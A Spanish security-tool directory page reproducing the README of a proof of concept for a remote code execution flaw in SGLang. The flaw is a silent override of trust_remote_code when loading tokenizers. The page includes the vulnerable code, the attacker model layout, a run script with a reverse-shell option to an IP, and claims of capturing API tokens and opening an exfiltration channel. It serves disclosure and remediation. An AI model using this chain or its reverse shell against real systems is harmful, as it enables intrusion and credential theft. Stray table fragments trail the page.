Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-7669-PoC — PoC para CVE-2026-7669: SGLang anulación silenciosa de trust_remote_code -> RCE | Kitploit
Herramientas/GitHubGitHub/gouldnicholas/cve-2026-7669-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad de Cadena de SuministroHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubgouldnicholas/cve-2026-7669-poc

CVE-2026-7669-PoC

PoC para CVE-2026-7669: SGLang anulación silenciosa de trust_remote_code -> RCE

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-7669

SGLang sobrescribe silenciosamente trust_remote_code=False a True y vuelve a invocar AutoTokenizer.from_pretrained cada vez que transformers v5 devuelve un objeto TokenizersBackend. Un modelo con un tokenizer_class personalizado y un auto_map que apunte a tokenizer.py alcanza la ejecución arbitraria de código dentro del proceso de SGLang incluso cuando el operador pasó False. No se emite ninguna línea de registro en ningún nivel.

  • Proyecto: https://github.com/sgl-project/sglang
  • Afectado: 0.5.10 hasta el main actual (commit fae90abf6)
  • No afectado: 0.5.9 y anteriores
  • Código vulnerable: python/sglang/srt/utils/hf_transformers_utils.py:898-909
  • CVSS 3.1: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 Alta
  • CWE: 693, 94, 829
  • Código vulnerable

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        tokenizer = AutoTokenizer.from_pretrained(
            tokenizer_name,
            *args,
            trust_remote_code=True,
            tokenizer_revision=tokenizer_revision,
            clean_up_tokenization_spaces=False,
            **kwargs,
        )
    

    Introducido en el PR #17784 (commit d1e95af28, 2026-03-18). El aviso original de logger.info(...) fue eliminado por el commit 27ac831a8 (2026-03-23) bajo un título de "docs: improve CI and testing documentation", dejando la sobrescritura completamente silenciosa en todas las versiones vulnerables publicadas.

    Reproducir

    root@kitploit:~
    git clone https://github.com/<your-org>/CVE-2026-7669.git
    cd CVE-2026-7669
    ./run.sh
    

    Construye una imagen Docker (python:3.12.7-slim-bookworm + transformers==5.3.0

    • código fuente de SGLang fijado) y ejecuta el PoC. Aproximadamente 30-60 segundos en la primera ejecución. No se requiere GPU.

    Otros modos:

    root@kitploit:~
    ./run.sh --server         reproducir vía TokenizerManager.__init__
    ./run.sh --versions       matriz de transformers 5.0..5.5
    ./run.sh --revshell IP    reverse shell opcional a IP:4444
    ./run.sh --rebuild        forzar reconstrucción --no-cache
    ./run.sh --copy-ledger ./ledger.json
    

    Veredicto

    El código de salida 0 significa confirmado. Resumen final:

    root@kitploit:~
    Phase 1   transformers + False             return=TokenizersBackend     exec=False
    Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
    Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
    Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
    Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True
    
    Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
    
    *** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***
    

    Códigos de salida:

    CódigoSignificado
    0Confirmado
    1No activado
    2Falso positivo (transformers en sí ejecutó tokenizer.py, el bug es upstream)
    3La verificación previa de versión fijada falló

    Entorno fijado

    La fase de verificación previa lee pinned_versions.json y verifica cada valor contra el entorno de ejecución. La deriva sale con código 3 antes de que se ejecute cualquier prueba.

    ComponenteFijación
    Python3.12.7-slim-bookworm
    transformers5.3.0
    Commit de SGLangfae90abf6e15aaffb6fd924a439253674771487d
    SHA256 de hf_transformers_utils.py9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e
    Bloque vulnerable (líneas 898-909) SHA256109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece

    Justificación CVSS

    MétricaValorRespaldado por
    AVNLos archivos de activación (config.json, tokenizer_config.json, tokenizer.json, tokenizer.py) son el diseño estándar de auto_map del HF Hub. Cualquier registro que los sirva alcanza el bug.
    ACLPHASE-2 se activa de forma determinista en una sola ejecución. Cada condición de activación es contenido creado por el atacante. PRE-1..7 confirman que no hay fingerprinting del entorno.
    PRNUna subida gratuita al HF Hub es suficiente. Nada en la cadena de activación requiere privilegios preexistentes sobre la víctima.
    UIRLa activación ocurre solo cuando un operador (o un pipeline configurado por el operador) invoca launch_server --model-path attacker/model.
    SUTodas las afirmaciones SEV-* se ejecutan dentro de la autoridad del proceso de SGLang. Sin escape de sandbox ni de contenedor.
    CHSEV-secrets captura HF_TOKEN, OPENAI_API_KEY, ANTHROPIC_API_KEY, GPG_KEY del entorno del proceso. SEV-network abre un canal de exfiltración TCP saliente.
    IHSEV-write-sglang, SEV-write-launchsrv, SEV-write-model, SEV-pip son cuatro primitivas de integridad independientes en diferentes ubicaciones sensibles.
    AHInferido de RCE. SEV-pip demuestra ejecución arbitraria de subprocesos, que es la misma primitiva necesaria para un auto-DoS. El PoC no demuestra directamente un auto-kill.

    8.8 es el mínimo conservador. 9.6 (con S:C) y 10.0 (tanto S:C como UI:N) son defendibles pero dependen del revisor.

    UI:N no está justificado para este CVE. El servidor HTTP de SGLang tiene un bypass genuino de no-autenticación por defecto cuando api_key=None y admin_api_key=None (verificado por AUTH-1 contra la primitiva decide_request_auth en tiempo de ejecución), pero ningún endpoint HTTP alcanza get_tokenizer después del arranque (verificado por CHAIN-1). Los cuatro puntos de llamada de get_tokenizer (TokenizerManager.__init__, Scheduler.__init__, TPWorker.__init__, DetokenizerManager.__init__) se activan una vez al iniciar el servidor desde el --model-path proporcionado por el operador. El bypass de autenticación es, por tanto, un problema separado y no un socio de cadena para CVE-2026-7669.

    Afirmaciones

    El PoC escribe un registro JSON en /tmp/poc_claim_ledger.json con 29 afirmaciones individualmente comprobables. Usa ./run.sh --copy-ledger ./ledger.json para extraerlo.

    GrupoAfirmaciones
    PRE-1..7Versiones fijadas (Python, transformers, SHA256 de archivos, recuento de líneas, SHA256 del bloque de sobrescritura, trust_remote_code por defecto, ruta de origen)
    SRC-1El código fuente importado de get_tokenizer contiene la sobrescritura
    PHASE-1transformers respeta trust_remote_code=False directamente
    PHASE-1b, PHASE-1b-mechSGLang sin las líneas 898-909 respeta False y hace exactamente una llamada a from_pretrained
    PHASE-2, PHASE-2-mech, PHASE-2-silentSGLang real ejecuta tokenizer.py. El trace muestra la llamada 0 (False)->TokenizersBackend, la llamada 1 (True)->MaliciousTokenizer. Ninguna línea de registro menciona trust_remote_code (captura DEBUG en el logger raíz y sglang).
    PHASE-2bParcheado + True explícito aún carga (el parche es quirúrgico)
    PHASE-3-rce, PHASE-3-via-overrideEl modo de tokenizer lento también alcanza RCE a través de la misma ruta 898-909
    SEV-write-sglang, SEV-write-launchsrv, SEV-write-modelPrimitivas de persistencia y propagación lateral
    SEV-networkCanal de exfiltración TCP saliente
    SEV-secretsCaptura de secretos de variables de entorno
    SEV-pipInstalación arbitraria de pip (cadena de suministro)
    SEV-rootProceso ejecutándose como root en la imagen lmsysorg
    AUTH-1Los ServerArgs por defecto (, ) dejan todos los endpoints alcanzables sin autenticación

    Mecanismo

    Archivos del modelo de activación (todos controlados por el atacante, todos permitidos por HF Hub):

    root@kitploit:~
    attacker/model/
      config.json             model_type "gpt2" (en TOKENIZER_MAPPING_NAMES de transformers)
      tokenizer_config.json   tokenizer_class personalizado + auto_map -> tokenizer.py
      tokenizer.json          tokenizer BPE válido (para que la primera carga tenga éxito)
      tokenizer.py            payload
      model.safetensors       pesos ficticios
    

    Flujo de ejecución dentro de get_tokenizer(MODEL_DIR, trust_remote_code=False):

    1. SGLang llama a AutoTokenizer.from_pretrained(..., trust_remote_code=False).
    2. Transformers v5, al encontrar un tokenizer_class personalizado que no está en su registro, recurre a un TokenizersBackend genérico construido desde tokenizer.json. tokenizer.py no se ejecuta en este punto.
    3. Las líneas 898-909 de SGLang comprueban type(tokenizer).__name__ == "TokenizersBackend" y reintentan silenciosamente con trust_remote_code=True.
    4. Transformers, ahora con instrucciones de confiar en código remoto, importa tokenizer.py. Las declaraciones de nivel superior se ejecutan dentro del proceso de SGLang.

    El PHASE-2-mech del PoC captura el trace literalmente:

    root@kitploit:~
    [{idx: 0, trust_remote_code: False, returned_type: "TokenizersBackend"},
     {idx: 1, trust_remote_code: True,  returned_type: "MaliciousTokenizer"}]
    

    Corrección

    Elimina las líneas 898-909. TokenizersBackend es un tokenizer utilizable para muchas cargas de trabajo y devolverlo tal cual es un valor por defecto seguro. Si un modelo realmente necesita código de tokenizer personalizado, el operador debe pasar --trust-remote-code explícitamente.

    Alternativamente, registra una advertencia fuerte y devuelve TokenizersBackend sin volver a invocar from_pretrained:

    root@kitploit:~
    if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
        logger.warning(
            "Model %s requires a custom tokenizer but trust_remote_code=False. "
            "Returning generic TokenizersBackend without executing tokenizer.py. "
            "Restart with --trust-remote-code if the custom code is required.",
            tokenizer_name,
        )
    

    PHASE-2b verifica que el parche mínimo es quirúrgico: el trust_remote_code=True explícito aún carga el modelo.

    Divulgación

    • 2026-04-07: descubierto, PoC funcional
    • 2026-04-07: reportado vía Informe Privado de Vulnerabilidades de SGLang y VulDB
    • 2026-05-03: CVE-2026-7669 asignado
    • 2026-05-04: este PoC publicado

    Créditos

    • Nick Gould (@gouldnicholas, nick.gould777343 @ gmail.com)
    • David Rochester (@davidrxchester, rochesterdcj @ gmail.com)

    Referencias

    • Código vulnerable: https://github.com/sgl-project/sglang/blob/fae90abf6e15aaffb6fd924a439253674771487d/python/sglang/srt/utils/hf_transformers_utils.py#L898-L909
    • PR que lo introduce: https://github.com/sgl-project/sglang/pull/17784
    • Commit de eliminación de registro: https://github.com/sgl-project/sglang/commit/27ac831a8
    • trust_remote_code de HuggingFace: https://huggingface.co/docs/transformers/main/en/model_doc/auto#from-pretrained
    • CVEs previos de SGLang: CVE-2025-10164, CVE-2026-3059, CVE-2026-3060

    Este PoC es para investigación de seguridad defensiva y remediación. El tokenizer.py malicioso escribe solo en /tmp/sglang_poc_proof.txt dentro del contenedor por defecto. No lo ejecutes contra sistemas que no poseas o para los que no tengas autorización de prueba.

    Descargar herramienta
    api_key=None
    admin_api_key=None
    ADMIN_OPTIONAL
    AUTH-2, AUTH-3Controles positivos que confirman que el middleware bloquea sin autenticación y acepta bearer válido cuando está configurado
    CHAIN-1Ningún manejador de endpoint HTTP invoca get_tokenizer() después del arranque (cero puntos de llamada en http_server.py)
    CHAIN-2Veredicto explícito: UI:N NO está justificado para este CVE. El bypass de no-autenticación por defecto es real pero no puede alcanzar la sobrescritura de trust_remote_code, porque los cuatro llamadores de get_tokenizer (TokenizerManager / Scheduler / TPWorker / DetokenizerManager) son rutas __init__ que se activan una vez al iniciar el servidor. El operador aún elige la ruta del modelo en el momento de launch_server, por lo que UI:R se mantiene.